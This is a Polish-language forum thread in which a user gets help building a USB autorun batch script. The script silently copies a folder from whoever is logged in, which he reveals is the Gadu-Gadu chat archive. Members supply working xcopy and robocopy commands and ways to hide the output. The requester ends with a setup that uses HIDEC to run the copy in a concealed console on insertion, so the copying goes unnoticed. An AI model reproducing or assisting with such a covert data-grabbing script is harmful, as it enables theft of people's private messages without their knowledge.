Manuel_ziom [ Geralt z Rivii ]
Prośba o pomoc w napisaniu malutkiego skryptu (?), dzialającego pod Vistą
Siemka,
Ogólnie to chodzi mi o to, żeby po włożeniu pendrivea, odpalił się automatycznie z niego ten skrypt, który skopiowałby z katalogu c:\Users\<aktualnie zalogowany user>\XXX wszystkie pliki, a najlepiej cały ten katalog.
Kolega pomógł mi zrobić takie coś, ale komendy nie działają pod Vistą...
Jak będzie ładnie chodzić automatycznie po włożeniu pena to zasile konto za 10 zeta :D
wysiak [ Legend ]
Jakie komendy nie dzialaja pod vista?
Manuel_ziom [ Geralt z Rivii ]
xcopy, find, wiem ze te uzywal w kilku wersjach jak probowal
wysiak [ Legend ]
I xcopy i find dzialaja pod vista.
akhkharu [ Konsul ]
prędzej jakieś zmienne środowiskowe się zmieniły ^_^
Może wklej tu zawartość aktualnego skryptu to zobaczymy co i jak
Manuel_ziom [ Geralt z Rivii ]
hmm no jak sie uruchamial ten plik .bat to w cmd wyswietlalo ze xcopy nie jest poleceniem itd..
To może napisz mi taki skrypt :) ??
Manuel_ziom [ Geralt z Rivii ]
mkdir Archiv
xcopy C:\users\%username%\TEN_FOLDER\ Archiv\ /E
edit: ja nie mam o tym za bardzo pojęcia więc licze na Waszą pomoc :)
akhkharu [ Konsul ]
nie mam teraz visty (ani żadnego windowsa ;-)) pod ręką ale według tego
powinno być mniej więcej tak
xcopy C:\%HOMEPATH%\TEN_FOLDER\ Archiv\ /E
edit - powinno być %HOMEPATH%
edit2 ... och... w sumie to co za różnica... :P... może jeszcze wklej komunikat błędu?
Manuel_ziom [ Geralt z Rivii ]
aha, rzeczywiście, wtedy ścieżka pliku jest poprawna, ale plików nie kopiuje ;/
Ale pisze, że nazwa "xcopy" nie jest rozpoznawana jako polecenie wewenterzne itd...
akhkharu [ Konsul ]
ok. może spróbuj tego:
mkdir Archiv
robocopy %USERPROFILE%\Jakis_folder\ Archiv\ /E
wysiak [ Legend ]
Dokladnie, robocopy powinno zadzialac. Zreszta z %username% tez powinno byc ok, ta zmienna tez nadal wystepuje.
Manuel_ziom [ Geralt z Rivii ]
to samo.. robocopy nie jest rozpoznawane jako polecenie itd...
;/
akhkharu [ Konsul ]
hmm... a jak weźmiesz start->uruchom->cmd
i tam wpisz:
robocopy %USERPROFILE%\Jakis_folder\ LITERA_DYSKU:\Archiv\ /E to też nie działa?
wysiak [ Legend ]
A uruchom
c:\Windows\System32\Robocopy.exe
(czy na ktorej tam partycji masz windowsa)
akhkharu [ Konsul ]
hmm... a może chodzi o uprawnienia? Gdzieś w akcesoriach jest wiersz poleceń. Kliknij na niego prawym i "uruchom jako Administrator" i wtedy spróbuj.
ewentualnie skopiuj robocopy.exe ze ścieżki którą podał wysiak i wklej do katalogu gdzie jest skrypt... i o ile plik ten nie ma jakichś zależności to powinno zadziałać.
Manuel_ziom [ Geralt z Rivii ]
skopiowalem plik robocopy i już zaczeło chyba działać, bo teraz jest wyświetlone ze nie może znaleźć pliku ( tego do skopiowania )..
Manuel_ziom [ Geralt z Rivii ]
YEAH zadziałało dzięki wielkie :)
Teraz jeszcze tylko, zeby sie samo wyłączyło ;D
Manuel_ziom [ Geralt z Rivii ]
Nie moge edytować, więc:
Pięknie, działa samo, kopiuje cały folder z danymi GG ;D
I to jeszcze autorun ;D
To chcesz nagrode :D ?
Manuel_ziom [ Geralt z Rivii ]
wszystko pięknie, ale jedno ALE :
kopiowanie trwa kilkanaście sekund, i można zauważyć co jest kopiowane...
może by tak jakoś ukryć cmd ?? Da się tak ?? Żeby nie było widac tego okienka ??
akhkharu [ Konsul ]
hmm... może dodaj na początku skryptu
@echo off
ale nie wiem czy to będzie miało jakiś wpływ na wyświetlane informacje... spróbować nie zaszkodzi.
Manuel_ziom [ Geralt z Rivii ]
nie pokazuje wtedy tworzenia folderu, ale kopiowanie jest pokazane...
akhkharu [ Konsul ]
będę w domu to zobaczę jak to z tą vistą... o ile ktoś Ci już do tej pory nie pomoże... a póki co spróbuj jeszcze dodać na końcu polecenia do kopiowania "/NP"
Czyli będzie
robocopy %USERPROFILE%\Jakis_folder\ LITERA_DYSKU:\Archiv\ /E /NP
Ta opcja w sumie tylko usuwa jakieś wyświetlanie procentów, ale może akurat o to chodzi...
Jak to powyżej nie zadziała to jeszcze możesz spróbować przekierowania strumienia :P...
czyli do polecenia na końcu dodaj "> raport.txt" (czy jakakolwiek nazwa pliku) wtedy powinien wykonać operacje, a wynik zamiast wydrukować na konsoli wrzuci do pliku. Taki mały workaround ;-)
czyli będzie:
robocopy %USERPROFILE%\Jakis_folder\ LITERA_DYSKU:\Archiv\ /E > raport.txt
Manuel_ziom [ Geralt z Rivii ]
Mam już wszystko dopracowane do perfekcji.
Zgrałem ropocopy i program HIDEC
Wkładam pena, odpala sie z autoruna skrypt od hidec, ktory uruchamia ukrya konsole z kopiowaniem archiuwm gg :D
DZIĘKI WIELKIE :)